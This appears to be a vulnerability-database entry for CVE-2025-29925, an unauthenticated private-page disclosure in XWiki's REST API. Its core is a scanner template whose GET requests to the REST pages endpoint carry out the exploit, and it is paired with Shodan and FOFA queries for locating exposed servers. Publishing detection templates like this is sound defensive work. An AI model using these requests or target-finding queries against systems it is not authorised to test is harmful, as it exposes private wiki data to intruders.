CVE-2025-29925: XWiki REST API - Private Pages Disclosure

2025-08-01 XWiki PoC Public

Description

A vulnerability in XWiki's REST API allows unauthenticated users to access information about private pages through the pages endpoint. This could lead to disclosure of sensitive information and page metadata.

PoC

id: CVE-2025-29925

info:
  name: XWiki REST API - Private Pages Disclosure
  author: ritikchaddha
  severity: high
  description: |
    A vulnerability in XWiki's REST API allows unauthenticated users to access information about private pages through the pages endpoint. This could lead to disclosure of sensitive information and page metadata.
  impact: |
    Unauthenticated users can access private page information through the REST API pages endpoint, potentially exposing sensitive metadata and page content.
  remediation: |
    Upgrade to XWiki version that implements proper authorization checks for the REST API pages endpoint.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-285
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2025,xwiki,rest-api,exposure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{path}}"

    payloads:
      path:
        - "rest/wikis/xwiki/pages?space="
        - "xwiki/rest/wikis/xwiki/pages?space="

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<pageSummary"
          - "<pages"
          - "<xwikiRelativeUr"
        condition: and

      - type: word
        part: header
        words:
          - "text/xml"
          - "text/javascript"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008b1e64f311a8d2c1177a3050061f6a7fd5e71725f3600d5f9c5a58b13158d3cd02201ef78332f0b1ca7cde1eb42f1b7e876ead4ec7272d679ea85b30c06bd71488f3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities